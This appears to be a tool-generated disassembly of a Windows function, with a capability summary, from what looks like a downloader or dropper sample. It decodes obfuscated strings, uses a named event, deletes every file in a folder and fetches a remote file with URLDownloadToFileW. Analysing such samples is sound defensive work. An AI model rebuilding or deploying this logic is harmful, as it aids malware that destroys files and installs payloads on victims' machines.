Function at 0x407780
Capabilities:
Accept command line arguments
Create directory
Delete file
Download url
Enumerate files on windows
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c0
lea ecx, [esp + 0x58]
push ebx
push ebp
push esi
push edi
push 0x453c68
call fcn.004097c0
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
call fcn.00401600
test eax, eax
je 0x4083a9
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
lea ecx, [esp + 0x30]
push str.X3NybV1zbmJfcmNw
mov dword [esp + 0x34], eax
call fcn.00403570
test al, al
jne 0x4077ef
push 0x10
push str.X3NybV1zbmJfcmNw
lea ecx, [esp + 0x38]
call fcn.004039f0
mov eax, dword [esp + 0x64]
cmp eax, 2
jge 0x407896
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4083a9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x14]
push str.Y2tucnddYWtiXWpnbGM
mov dword [esp + 0x18], eax
call fcn.00403570
test al, al
jne 0x407839
push 0x14
push str.Y2tucnddYWtiXWpnbGM
lea ecx, [esp + 0x1c]
call fcn.004039f0
push ecx
mov ecx, esp
push 0x452b83
call fcn.00402d70
mov ebp, dword [esp + 0x18]
push ecx
mov edi, esp
add ebp, 0xfffffff0
push ecx
mov ecx, ebp
mov esi, esp
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
mov edi, esp
push ecx
mov ecx, dword [esp + 0x40]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
add esp, 4
call fcn.00406500
add esp, 0xc
or ebx, 0xffffffff
jmp 0x4079d0
or ebx, 0xffffffff
cmp eax, 3
jge 0x407a02
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4083a9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x14]
push str.LWc
mov dword [esp + 0x18], eax
call fcn.00403570
test al, al
jne 0x4078df
push 4
push str.LWc
lea ecx, [esp + 0x1c]
call fcn.004039f0
mov ebp, dword [esp + 0x14]
mov edi, dword [edi + 4]
add ebp, 0xfffffff0
push ecx
mov ecx, ebp
mov esi, esp
call fcn.00403800
add eax, 0x10
lea ecx, [esp + 0x3c]
mov dword [esi], eax
call fcn.004021a0
add esp, 4
mov eax, dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x40792c
test cx, cx
je 0x407928
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x40792c
add eax, 4
add edi, 4
test cx, cx
jne 0x407906
xor esi, esi
jmp 0x407931
sbb esi, esi
or esi, 1
mov edx, dword [esp + 0x38]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40794c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
je 0x4079ed
push str.Z2x0X2pnYl1ha2Jdbl9wX2tjcmNw
lea ecx, [esp + 0x28]
call fcn.00402e50
push ecx
mov ecx, esp
push 0x452baa
call fcn.00402d70
push ecx
mov edi, esp
push ecx
mov ecx, dword [esp + 0x30]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
mov edi, esp
push ecx
mov ecx, dword [esp + 0x40]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
add esp, 4
call fcn.00406500
mov edx, dword [esp + 0x30]
add esp, 0xc
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4079d0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, ebx
lock xadd dword [ebp + 0xc], eax
dec eax
test eax, eax
jg 0x4079e5
mov ecx, dword [ebp]
push ebp
mov eax, dword [ecx]
call dword [eax + 4]
or esi, 0xffffffff
jmp 0x40834c
mov eax, ebx
lock xadd dword [ebp + 0xc], eax
dec eax
test eax, eax
jg 0x407a02
mov ecx, dword [ebp]
push ebp
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4083a9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x14]
push str.Sm1hX2paTkE_bm5Rcm1wY1NuYl9yY3A
mov dword [esp + 0x18], eax
call fcn.00403570
test al, al
jne 0x407a3f
push 0x20
push str.Sm1hX2paTkE_bm5Rcm1wY1NuYl9yY3A
lea ecx, [esp + 0x1c]
call fcn.004039f0
mov edi, dword [esp + 0x14]
push ecx
add edi, 0xfffffff0
mov esi, esp
mov ecx, edi
mov dword [esp + 0x3c], edi
call fcn.00403800
add eax, 0x10
lea ecx, [esp + 0x1c]
mov dword [esi], eax
call fcn.004021a0
add esp, 4
push dword [eax]
push 1
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov edx, dword [esp + 0x18]
mov esi, eax
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x407a91
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
je 0x407a9c
xor esi, esi
jmp 0x408338
push ecx
mov ecx, edi
mov esi, esp
call fcn.00403800
add eax, 0x10
lea ecx, [esp + 0x1c]
mov dword [esi], eax
call fcn.004021a0
add esp, 4
push dword [eax]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov edx, dword [esp + 0x18]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407ae0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4083a9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x14]
push str.P05OQj9SPw
mov dword [esp + 0x18], eax
call fcn.00403570
test al, al
jne 0x407b1d
push 0xc
push str.P05OQj9SPw
lea ecx, [esp + 0x1c]
call fcn.004039f0
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4083a9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x1c]
push str.Wk5BP25uUXJtcGNaQl9yX1pzbmJfcmM
mov dword [esp + 0x20], eax
call fcn.00403570
test al, al
jne 0x407b5a
push 0x20
push str.Wk5BP25uUXJtcGNaQl9yX1pzbmJfcmM
lea ecx, [esp + 0x24]
call fcn.004039f0
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
push ecx
mov ecx, eax
mov dword [esp + 0x24], eax
mov esi, esp
call fcn.00403800
add eax, 0x10
lea ecx, [esp + 0x1c]
mov dword [esi], eax
call fcn.004021a0
add esp, 4
push dword [eax]
call fcn.0042d596
mov edx, eax
add esp, 4
test edx, edx
jne 0x407b94
xor ecx, ecx
jmp 0x407baf
mov ecx, edx
lea esi, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407ba0
sub ecx, esi
sar ecx, 1
push ecx
push edx
mov ecx, 0x45cba8
call fcn.004039f0
mov edx, dword [esp + 0x18]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407bd6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
push ecx
mov ecx, eax
mov dword [esp + 0x4c], eax
mov esi, esp
call fcn.00403800
add eax, 0x10
lea ecx, [esp + 0x1c]
mov dword [esi], eax
call fcn.004021a0
add esp, 4
mov ecx, 0x45cba8
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
call fcn.0040a010
mov edx, dword [esp + 0x18]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407c27
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [0x45cba8]
lea ecx, [ecx - 0x10]
call fcn.00403800
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
mov dword [esp + 0x18], eax
lea esi, [eax + 0x10]
push esi
lea eax, [esp + 0x84]
push str._s.
push eax
call ebp
add esp, 0xc
lea eax, [esp + 0x280]
push eax
lea eax, [esp + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x407cb5
lea eax, [esp + 0x2ac]
push eax
push esi
lea eax, [esp + 0x88]
push str._s_s
push eax
call ebp
add esp, 0x10
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x280]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x407c72
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [esp + 0x18]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407ccd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0
push dword [0x45cba8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call fcn.00405340
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4083a9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x1c]
push str.VGNwcWdtbA
mov dword [esp + 0x20], eax
call fcn.00403570
test al, al
jne 0x407d1d
push 0xc
push str.VGNwcWdtbA
lea ecx, [esp + 0x24]
call fcn.004039f0
push ecx
mov edi, esp
push ecx
mov ecx, dword [0x45cba4]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
mov ebp, dword [esp + 0x24]
mov edi, esp
push ecx
add ebp, 0xfffffff0
mov esi, esp
mov ecx, ebp
mov dword [esp + 0x40], ebp
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
add esp, 4
lea ecx, [esp + 0x20]
mov edx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00405650
add esp, 8
mov ecx, 0x45cba0
push eax
call fcn.004096b0
mov edx, dword [esp + 0x18]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407d9a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [0x45cba0]
cmp dword [eax - 0xc], 0
jne 0x407e17
push ecx
mov edi, esp
push ecx
mov ecx, dword [0x45cba4]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
mov edi, esp
push ecx
mov ecx, ebp
mov esi, esp
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
add esp, 4
lea ecx, [esp + 0x20]
mov edx, SysReAllocString
call fcn.00405650
add esp, 8
mov ecx, 0x45cba0
push eax
call fcn.004096b0
mov edx, dword [esp + 0x18]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407e17
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4083a9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x1c]
push str.cXJfcHI
mov dword [esp + 0x20], eax
call fcn.00403570
test al, al
jne 0x407e54
push 8
push str.cXJfcHI
lea ecx, [esp + 0x24]
call fcn.004039f0
push ecx
mov ecx, esp
push 0x452bab
call fcn.00402d70
mov eax, dword [esp + 0x20]
push ecx
add eax, 0xfffffff0
mov edi, esp
push ecx
mov ecx, eax
mov dword [esp + 0x34], eax
mov esi, esp
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
mov ebp, dword [esp + 0x3c]
mov edi, esp
push ecx
add ebp, 0xfffffff0
mov esi, esp
mov ecx, ebp
mov dword [esp + 0x4c], ebp
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
add esp, 4
call fcn.00406500
add esp, 0xc
lea ecx, [esp + 0x68]
call fcn.00405790
test al, al
jne 0x40822e
cmp dword [0x45c990], 0
je 0x4081a4
push 0x453ddc
lea ecx, [esp + 0x28]
call fcn.00402e50
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x1c]
call fcn.00405200
mov edx, dword [esp + 0x28]
add esp, 4
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407f0b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push str.ZnJybnE4LS1lbW1lamMsYW1r
lea ecx, [esp + 0x48]
call fcn.00402e50
push 0
push 0
push dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x54]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.00403800
add eax, 0x10
lea ecx, [esp + 0x3c]
mov dword [esi], eax
call fcn.004021a0
add esp, 4
push dword [eax]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov edx, dword [esp + 0x2c]
mov esi, eax
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x407f68
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
jne 0x408100
lea ecx, [esp + 0x24]
call fcn.00402ef0
lea ecx, [esp + 0x14]
call fcn.00402ef0
lea edx, [esp + 0x24]
lea ecx, [esp + 0x14]
call fcn.00406a30
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x24]
cmp dword [esi - 0xc], 0
je 0x408022
cmp dword [edi - 0xc], 0
je 0x408022
mov eax, dword [0x45cba0]
mov ecx, esi
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x407fd6
test dx, dx
je 0x407fd2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x407fd6
add eax, 4
add ecx, 4
test dx, dx
jne 0x407fb0
xor eax, eax
jmp 0x407fdb
sbb eax, eax
or eax, 1
shr eax, 0x1f
test al, al
je 0x4080f1
push edi
lea ecx, [esp + 0x50]
call fcn.004097c0
sub esp, 0x18
mov ecx, esp
push esi
call fcn.004097c0
lea ecx, [esp + 0x64]
call fcn.00406e80
add esp, 0x18
lea ecx, [esp + 0x4c]
call fcn.00402f20
lea ecx, [esp + 0x14]
call fcn.00402d50
lea ecx, [esp + 0x24]
jmp 0x408160
lea ecx, [esp + 0x1c]
call fcn.00402ef0
push str.al9xcl10OyN1cSRial1qbGk7I3Vx
lea ecx, [esp + 0x30]
call fcn.00402e50
push str.Y2tucnddZ2xxcnBzYXJnbWxx
lea ecx, [esp + 0x44]
call fcn.00402e50
push edi
push esi
push ecx
mov ecx, dword [esp + 0x38]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.00403800
add eax, 0x10
lea ecx, [esp + 0x1c]
mov dword [esi], eax
call fcn.004021a0
add esp, 4
push dword [eax]
lea eax, [esp + 0x28]
push eax
call fcn.0040a450
add esp, 0x10
lea ecx, [esp + 0x10]
call fcn.00402d50
push ecx
mov ecx, dword [esp + 0x20]
mov esi, esp
add ecx, 0xfffffff0
call fcn.00403800
push ecx
add eax, 0x10
mov edi, esp
push ecx
mov dword [esi], eax
mov esi, esp
mov ecx, dword [esp + 0x4c]
lea ecx, [ecx - 0x10]
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
mov edi, esp
push ecx
mov ecx, ebp
mov esi, esp
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
add esp, 4
call fcn.00406500
add esp, 0xc
lea ecx, [esp + 0x40]
call fcn.00402d50
lea ecx, [esp + 0x2c]
call fcn.00402d50
lea ecx, [esp + 0x1c]
call fcn.00402d50
lea ecx, [esp + 0x14]
call fcn.00402d50
lea ecx, [esp + 0x24]
jmp 0x408160
push str.bG1dZ2xyY3BsY3JdYW1sbGNhcmdtbA
lea ecx, [esp + 0x30]
call fcn.00402e50
push ecx
mov ecx, esp
push 0x452bca
call fcn.00402d70
push ecx
mov edi, esp
push ecx
mov ecx, dword [esp + 0x38]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
mov edi, esp
push ecx
mov ecx, ebp
mov esi, esp
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
add esp, 4
call fcn.00406500
add esp, 0xc
lea ecx, [esp + 0x2c]
call fcn.00402d50
mov edx, dword [esp + 0x44]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408180
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x18]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40822e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x40822e
xor eax, eax
mov dword [esp + 0x60], 7
mov dword [esp + 0x4c], eax
lea ecx, [esp + 0x4c]
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov word [esp + 0x4c], ax
call fcn.00405ec0
test al, al
je 0x4081f2
sub esp, 0x18
lea eax, [esp + 0x80]
mov ecx, esp
push eax
call fcn.00402f80
lea ecx, [esp + 0x64]
call fcn.00406e80
add esp, 0x18
mov ecx, dword [esp + 0x60]
cmp ecx, 8
jb 0x40822e
mov edx, dword [esp + 0x4c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x408224
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083b3
push ecx
push edx
call fcn.004230ab
add esp, 8
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4083a9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x24]
push str.Y2xi
mov dword [esp + 0x28], eax
call fcn.00403570
test al, al
jne 0x40826b
push 4
push str.Y2xi
lea ecx, [esp + 0x2c]
call fcn.004039f0
push ecx
mov ecx, esp
push 0x452bcb
call fcn.00402d70
mov ebp, dword [esp + 0x28]
push ecx
mov edi, esp
add ebp, 0xfffffff0
push ecx
mov ecx, ebp
mov esi, esp
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
mov edi, esp
push ecx
mov ecx, dword [esp + 0x4c]
mov esi, esp
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
add esp, 4
call fcn.00406500
add esp, 0xc
xor esi, esi
mov eax, ebx
lock xadd dword [ebp + 0xc], eax
dec eax
test eax, eax
jg 0x4082d4
mov ecx, dword [ebp]
push ebp
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x28]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4082ec
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x34]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408304
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x48]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40831c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x20]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408334
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esp + 0x38]
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x40834c
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x30]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x408365
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [esp + 0x7c]
cmp ecx, 8
jb 0x40839d
mov edx, dword [esp + 0x68]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x408393
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083b8
push ecx
push edx
call fcn.004230ab
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x80004005
call fcn.004013d0
call fcn.00427d73
call fcn.00427d73
int3